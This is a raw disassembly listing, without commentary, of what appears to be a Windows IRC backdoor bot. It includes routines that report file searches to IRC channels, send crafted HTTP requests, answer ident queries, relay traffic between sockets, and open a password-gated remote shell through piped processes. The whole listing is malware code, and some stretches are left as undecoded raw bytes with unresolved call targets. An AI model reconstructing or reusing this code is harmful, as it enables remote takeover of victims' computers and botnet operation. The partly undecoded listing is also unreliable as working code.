push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4107DF
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_41036B+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_4108FD: ; CODE XREF: sub_41036B+315j
push esi
loc_4108FE: ; CODE XREF: sub_41036B+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 18h
loc_41090D: ; CODE XREF: sub_41036B+444j
; sub_41036B+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
cmp [ebp+arg_8], ebx
jz short loc_41093C
push 7D0h
nop
call near ptr 2670E97h
loc_41093C: ; CODE XREF: sub_41036B+22Bj
; sub_41036B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 2760000h
test eax, eax
jnz loc_410590
loc_410954: ; CODE XREF: sub_41036B+21Aj
push [ebp+arg_0]
nop
call near ptr 25F0000h
cmp [ebp+arg_8], ebx
jz short loc_410997
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41C266
add esp, 14h
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_41036B+5F5j
cmp [ebp+arg_C], ebx
jz short loc_4109B1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_4109B1: ; CODE XREF: sub_41036B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41C266
add esp, 10h
loc_4109CB: ; CODE XREF: sub_41036B+62Aj
; sub_41036B+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41036B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 27107C1h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410AA9
push esi
push ebx
call near ptr 2740AF5h
nop
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410AA2
loc_410A36: ; CODE XREF: sub_4109F1+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BF70
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410A53
mov edi, [ebp+arg_4]
loc_410A53: ; CODE XREF: sub_4109F1+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call near ptr 27711CFh
nop
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 26F107Dh
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_410A9D
call dword_4CB968
cmp eax, 2733h
jnz short loc_410AA2
xor eax, eax
loc_410A9D: ; CODE XREF: sub_4109F1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410A36
loc_410AA2: ; CODE XREF: sub_4109F1+43j
; sub_4109F1+A8j
push ebx
call near ptr 26608D5h
nop
loc_410AA9: ; CODE XREF: sub_4109F1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4109F1 endp
; =============== S U B R O U T I N E =======================================
sub_410AAE proc near ; CODE XREF: sub_4100B4+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_410AD7
loc_410AC1: ; CODE XREF: sub_410AAE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410ACB
mov byte ptr [esi+edi], 2Fh
loc_410ACB: ; CODE XREF: sub_410AAE+17j
push edi
inc esi
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_410AC1
loc_410AD7: ; CODE XREF: sub_410AAE+11j
mov eax, edi
pop edi
pop esi
retn
sub_410AAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB944
push 6
push 1
push 2
call dword_4CBA54
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB9D4
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz short loc_410BB9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410B55
mov eax, offset byte_43DB88
loc_410B55: ; CODE XREF: sub_410ADC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CBA24
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CB9EC
pop esi
loc_410BB9: ; CODE XREF: sub_410ADC+6Bj
push ebx
call dword_4CBA6C
call dword_4CB92C
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41C266
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410BF9
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_410BF9: ; CODE XREF: sub_410ADC+102j
pop edi
pop ebx
leave
retn
sub_410ADC endp
; ---------------------------------------------------------------------------
loc_410BFD: ; DATA XREF: ___:00401666o
; sub_401ACD+438Bo
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CB9D4
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D61
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CBA00
cmp eax, 0FFFFFFFFh
jz loc_410D61
push 5
push ebx
call dword_4CB9FC
cmp eax, 0FFFFFFFFh
jz loc_410D61
mov [ebp-0Ch], edi
mov edi, 200h
loc_410C88: ; CODE XREF: ___:00410CE7j
; ___:00410D4Aj ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CBA68
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_410D5C
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CBA60
push eax
lea eax, [ebp-238h]
push offset dword_435164
push eax
call sub_41C266
lea eax, [ebp-238h]
push eax
call sub_415D38
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_410C88
lea eax, [ebp-238h]
push esi
push eax
call sub_4184CC
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41BF70
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40AE84
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_410C88
mov dword ptr [ebp-8], 1
jmp loc_410C88
; ---------------------------------------------------------------------------
loc_410D5C: ; CODE XREF: ___:00410C9Dj
cmp [ebp-8], esi
jnz short loc_410D88
loc_410D61: ; CODE XREF: ___:00410C44j
; ___:00410C68j ...
call dword_4CB968
push eax
lea eax, [ebp-238h]
push offset dword_435120
push eax
call sub_41C266
lea eax, [ebp-238h]
push eax
call sub_415D38
add esp, 10h
loc_410D88: ; CODE XREF: ___:00410D5Fj
push ebx
call dword_4CBA6C
push dword ptr [ebp-4]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push esi
call near ptr 26E0000h
nop
pop edi
pop esi
pop ebx
loc_410DAB: ; DATA XREF: sub_401ACD+605Do
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410F17
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E91C[ecx], eax
call dword_4CB8E4
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CBA00
test eax, eax
jnz loc_410F17
push 0Ah
push dword ptr [ebp+8]
call dword_4CB9FC
test eax, eax
jnz loc_410F17
loc_410E5B: ; CODE XREF: ___:00410E71j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CBA68
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410E5B
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CBA60
push eax
lea eax, [ebp-350h]
push offset unk_4351CC
push eax
call sub_41C266
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B3BA
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_410F3C
push esi
push esi
; ---------------------------------------------------------------------------
dw 25E8h
dd 900226F1h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h
dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 225FF97h
dd 6BE8EDEBh, 900226FAh, 51906850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
pop ecx
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: ___:00410E0Ej
; ___:00410E42j ...
mov edi, [ebp+8]
loc_410F1A: ; CODE XREF: ___:00410F15j
push edi
call dword_4CBA6C
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-40h]
call sub_40B6D6
pop ecx
push esi
call near ptr 26E0000h
nop
pop edi
pop esi
loc_410F3C: ; DATA XREF: ___:00410ECFo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C500
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CBA54
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4110F2
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CB9D4
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CBA14
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_410FCC
lea eax, [ebp-13Ch]
push eax
call dword_4CBA58
jmp short loc_410FDA
; ---------------------------------------------------------------------------
loc_410FCC: ; CODE XREF: ___:00410FBBj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CB98C
loc_410FDA: ; CODE XREF: ___:00410FCAj
cmp eax, edi
jz loc_4110F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_4110F2
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CBA60
push eax
lea eax, [ebp-344h]
push offset unk_435254
push eax
call sub_41C266
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B3BA
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43E91C[ebx]
mov dword_43E914[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E920[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_411123
push edi
push edi
nop
call near ptr 2680000h
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_4110DF
loc_41108C: ; CODE XREF: ___:00411099j
cmp [ebp-20h], edi
jnz short loc_41109B
push 32h
nop
call near ptr 2670E97h
jmp short loc_41108C
; ---------------------------------------------------------------------------
loc_41109B: ; CODE XREF: ___:0041108Fj
mov ebx, 1000h
loc_4110A0: ; CODE XREF: ___:004110DBj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC
cmp eax, edi
jle short loc_4110F2
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_4110A0
jmp short loc_4110F2
; ---------------------------------------------------------------------------
loc_4110DF: ; CODE XREF: ___:0041108Aj
call near ptr 2680972h
nop
push eax
push offset unk_435214
call sub_415DAC
pop ecx
pop ecx
loc_4110F2: ; CODE XREF: ___:00410F80j
; ___:00410FDCj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43E91C[eax]
call dword_4CBA6C
push dword ptr [ebp+8]
call dword_4CBA6C
push dword ptr [ebp-4]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 26E0000h
pop edi
pop esi
pop ebx
loc_411123: ; DATA XREF: ___:0041106Co
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C500
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41115A: ; CODE XREF: ___:0041119Fj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43E920[esi]
call dword_4CB9EC
test eax, eax
jle short loc_4111A1
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43E91C[esi]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_41115A
loc_4111A1: ; CODE XREF: ___:00411184j
push dword_43E920[esi]
call dword_4CBA6C
push dword ptr [ebp-14h]
call sub_40B6D6
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
db 0E8h, 42h, 0EEh
; ---------------------------------------------------------------------------
sub al, 2
pop edi
pop esi
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43E91C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CB9BC
test eax, eax
jnz short loc_411244
push dword ptr [esi]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push edi
call near ptr 26E0000h
nop
loc_411244: ; CODE XREF: ___:0041122Aj
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4113C5
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CB928
test eax, eax
jz short loc_4112BD
call dword_4CB968
push eax
push offset unk_43532C
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 0Ch
push edi
nop
call near ptr 26E0000h
loc_4112BD: ; CODE XREF: ___:00411298j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CB98C
cmp eax, edi
jnz short loc_4112E7
push dword ptr [ebp-18h]
call dword_4CBA60
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41C266
jmp short loc_4112F5
; ---------------------------------------------------------------------------
loc_4112E7: ; CODE XREF: ___:004112CDj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41C890
loc_4112F5: ; CODE XREF: ___:004112E5j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43DB88
push dword ptr [esi]
call dword_4CBA24
cmp dword_4CE72C, edi
jnz short loc_411357
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_41141F
add esp, 10h
test eax, eax
jnz short loc_411357
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CBA24
push dword ptr [esi]
call dword_4CBA6C
push dword ptr [ebp+8]
call sub_40B6D6
pop ecx
push edi
nop
call near ptr 26E0000h
loc_411357: ; CODE XREF: ___:0041130Cj
; ___:0041132Dj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4352F0
call sub_415DAC
push dword ptr [ebp+8]
call sub_4116D6
add esp, 10h
test eax, eax
jnz short loc_41139E
nop
call near ptr 2680972h
push eax
push offset unk_4352C4
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 0Ch
push ebx
nop
call near ptr 26E0000h
loc_41139E: ; CODE XREF: ___:00411379j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_435298
call sub_415DAC
push dword ptr [ebp+8]
call sub_40B6D6
add esp, 10h
push edi
call near ptr 26E0000h
nop
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113C5 proc near ; CODE XREF: ___:0041125Ap
; ___:00411267p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC
cmp eax, 1
jnz short loc_411415
mov esi, [ebp+arg_4]
loc_4113E3: ; CODE XREF: sub_4113C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41140A
test al, al
jz short loc_411419
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC
cmp eax, 1
jz short loc_4113E3
jmp short loc_411415
; ---------------------------------------------------------------------------
loc_41140A: ; CODE XREF: sub_4113C5+27j
push offset unk_435358
call sub_415DAC
pop ecx
loc_411415: ; CODE XREF: sub_4113C5+19j
; sub_4113C5+43j
xor eax, eax
jmp short loc_41141C
; ---------------------------------------------------------------------------
loc_411419: ; CODE XREF: sub_4113C5+2Bj
push 1
pop eax
loc_41141C: ; CODE XREF: sub_4113C5+52j
pop esi
leave
retn
sub_4113C5 endp
; =============== S U B R O U T I N E =======================================
sub_41141F proc near ; CODE XREF: ___:00411323p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41144A
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_435384
call sub_415DAC
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41144A: ; CODE XREF: sub_41141F+11j
push 1
pop eax
retn
sub_41141F endp
; ---------------------------------------------------------------------------
word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao
dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h
dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
dd 2026850h, 15FF0000h, 4CB944h, 0C63BF633h, 68501D74h
dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
dd 59E89057h, 57022CEBh, 4116CC68h, 814E800h, 85900236h
dd 0E82975C0h, 226F4B6h, 0B0685090h, 0E8004354h, 48E4h
dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
dd 22CEB20h, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h
dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
dd 15FF5350h, 4CBA00h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh
dd 4CB9FCh, 850FC085h, 103h, 43547468h, 0F045C700h, 0Ch
dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h
dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 226E9E4h
dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
dd 850FC875h, 0FFFFFF37h, 58E8326Ah, 900225F8h, 2BE8EDEBh
dd 900226F3h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h
dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h
dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022CE9h, 4439C033h
dd 940F0424h
db 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116D6 proc near ; CODE XREF: ___:0041136Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411827
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E91C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_427084
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4119F9
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_411741
call near ptr 2680972h
nop
push eax
push offset unk_435554
call sub_415DAC
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41177B
; ---------------------------------------------------------------------------
loc_411741: ; CODE XREF: sub_4116D6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411AAB
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411782
call near ptr 2680972h
nop
push eax
push offset unk_435554
call sub_415DAC
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
nop
call near ptr 26908E5h
loc_41177B: ; CODE XREF: sub_4116D6+69j
xor eax, eax
jmp loc_411822
; ---------------------------------------------------------------------------
loc_411782: ; CODE XREF: sub_4116D6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call near ptr 2780000h
nop
sub eax, ebx
jz short loc_4117DC
dec eax
jz short loc_4117D6
dec eax
jz short loc_4117C2
nop
call near ptr 2680972h
push eax
push offset unk_435520
call sub_415DAC
pop ecx
pop ecx
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117C2: ; CODE XREF: sub_4116D6+D5j
mov edi, dword_4270B4
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117D6: ; CODE XREF: sub_4116D6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4117E0
; ---------------------------------------------------------------------------
loc_4117DC: ; CODE XREF: sub_4116D6+CFj
push ebx
push dword ptr [esi+14h]
loc_4117E0: ; CODE XREF: sub_4116D6+104j
nop
call near ptr 26908E5h
push 1
push dword ptr [esi+8]
nop
call near ptr 2710A1Ah
loc_4117F1: ; CODE XREF: sub_4116D6+EAj
; sub_4116D6+FEj
push dword ptr [esi+10h]
mov edi, dword_427070
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4CBA6C
push esi
call sub_41BA91
pop ecx
push 1
pop eax
loc_411822: ; CODE XREF: sub_4116D6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4116D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411827 proc near ; CODE XREF: sub_4116D6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BEB5
mov esi, eax
pop ecx
